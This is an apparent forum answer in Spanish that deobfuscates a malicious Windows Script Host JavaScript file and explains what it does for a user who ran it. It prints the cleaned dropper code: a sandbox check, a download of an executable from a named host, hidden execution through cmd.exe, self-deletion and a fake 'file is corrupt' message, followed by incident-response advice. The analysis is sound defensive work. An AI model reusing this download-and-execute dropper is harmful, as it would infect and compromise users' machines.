Cómo desobstruir
Todas las funciones
Todas las funciones con nombres extraños solo devuelven lo que se les pasa. Entonces, el código como xmudzymza(["an"][0])
es en realidad solo una forma complicada de escribir "an"
. ¡Si copia el código en un editor con resaltado de sintaxis, puede leer grandes partes del código sin enmascarar simplemente ignorando todo lo que no esté resaltado como literales de cadena!
Creando y probando ActiveXObject
Entre todas las funciones tienes un ActiveXObject
no muy bien oculto:
uzuqevr = ActiveXObject;
Justo antes de la cláusula if vuelve a aparecer:
var agwibak = new uzuqevr(obrujaw(["Sc"][0]) + ... + qowokl(["ct"][0]);
var ctaqev = new['ukehkyk', Function, 'lebate'][1](repu(["va"][0]) + ... + nwavale([";"][0]));
Si ejecuta solo la concatenación de cadena larga dentro de los parantesis en la consola, obtiene la cadena Scripting.FileSystemObject
. Entonces, lo que tenemos es realmente esto:
var agwibak = new ActiveXObject("Scripting.FileSystemObject");
En la línea después de eso tenemos esto:
var ctaqev = new['ukehkyk', Function, 'lebate'][1](repu(["va"][0]) + ... + nwavale([";"][0]));
Crea una nueva del primer elemento en el vector, que es Function
. El constructor de funciones crea una función a partir de una cadena de código, tipo de como eval. La función se asigna a ctagev
. Al igual que arriba, podemos evaluar la concatenación de cadenas largas en la consola (sin ejecutarla realmente). Esta es la función:
(function() {
var ggelkigtu = agwibak.GetDrive(agwibak.GetDriveName('C:\oeokiotifgjvdkslsdfsdghrefvdfbdhgdgdfgd\dsgdgdfgdfgdf4353535345\sdfsfsdfsdfdsf')).SerialNumber; if(ggelkigtu < 0 || ggelkigtu > 0) return true; else return false;
})
Esa función se llama en la cláusula if:
if (ctaqev()) { ... }
Entonces, ¿qué hace? Intenta crear un objeto ActiveXObject y asignarlo a ggelkigtu
. A continuación, devuelve un booleano basado en ggelkigtu < 0 || ggelkigtu > 0
. Si el intérprete de JS no admite ActiveX ggelkigtu
será undefined
, y esa condición será false
. Por lo tanto, si su intérprete no admite ActiveX, el contenido de la cláusula if se ignorará.
Dentro de la cláusula if
Para ofuscar esta parte, debes hacer dos cosas:
- Cambie los nombres de los nombres de variables ridículamente largos (simplemente haciendo una búsqueda y reemplazándolos).
- Nuevamente, elimina el
xxxxxx(["ab"][0])
para obtener las cadenas reales.
Lo que obtienes es esto:
if (ctaqev()) {
long1 = this["WScript"];
long2 = long1["CreateObject"]("Scripting.FileSystemObject");
long3 = long1["CreateObject"]("WScript.Shell");
long4 = long1["CreateObject"]("L2TP");
long5 = long1["CreateObject"]("ADODB.Stream");
long6 = long2["GetSpecialFolder"]("2");
long7 = long2["GetTempName"]();
long8 = long4["open"]("T", "http://moosetraxtax.com/images/total.exe", "0");
long8 = long4["send"]();
long5["type"] = ["1"];
long9 = long4["ResponseBody"];
long10 = long1["ScriptFullName"];
long8 = long5["Open"]();
long8 = long5["Write"](long9);
long8 = long5["SaveToFile"](long6 + long7);
long8 = long5["Close"]();
long8 = long3["run"]("cmd.exe /c " + long6 + long7, "0");
long8 = long2["deleteFile"](long10);
}
long1["echo"]("The file is corrupt and cannot be opened");
Limpiándolo un poco más (usando .
en lugar de [""]
y cambiando los nombres de las variables nuevamente) obtenemos esto:
if(ctaqev()) {
fileSystem = WScript.CreateObject("Scripting.FileSystemObject");
shell = WScript.CreateObject("WScript.Shell");
l2tp = WScript.CreateObject("L2TP");
stream = WScript.CreateObject("ADODB.Stream");
folder = fileSystem.GetSpecialFoldder("2");
tempName = fileSystem.GetTempName();
x = l2tp.open("T", "http://moosetraxtax.com/images/total.exe", "0");
x = l2tp.send();
stream.type = "1";
response = l2tp.ResponseBody;
scriptName = WScript.ScriptFullName;
x = stream.Open()
x = stream.Write(response);
x = stream.SaveToFile(folder + tempName);
x = stream.Close();
x = shell.run("cmd.exe /c " + folder + tempName, "0");
x = fileSystem.deleteFile(scriptName);
}
WScript.echo("The file is corrupt and cannot be opened");
¿Qué hace? ¿Estás infectado?
No sé mucho sobre ActiveX, pero parece que descarga un archivo de http://moosetraxtax.com/images/total.exe
y lo ejecuta. Sorprendentemente, solo tres proveedores de AV identifican esa URL como malware en Virus Total es.
Si quieres saber qué obtuviste, puedes intentar descargarlo desde allí e investigar. Obviamente, esa es una actividad arriesgada y no hay garantía de que obtendrás lo mismo.
La ejecución de este script en un navegador moderno sería segura, ya que no son compatibles con ActiveX. Pero lo ejecutaste con Windows Script Host. No sé qué hay si las limitaciones de un script ejecutado por WSH tienen, pero para estar seguro, asumo que la computadora está infectada y trátelo como tal .
Si desea asegurarse de que realmente estaba infectado, le recomendaría lo siguiente:
- Averigüe lo que WSH realmente permite que haga un script. (No sé la respuesta a eso, lo siento).
- Verifique los registros de su firewall (si tiene uno) para ver si se bloqueó la solicitud.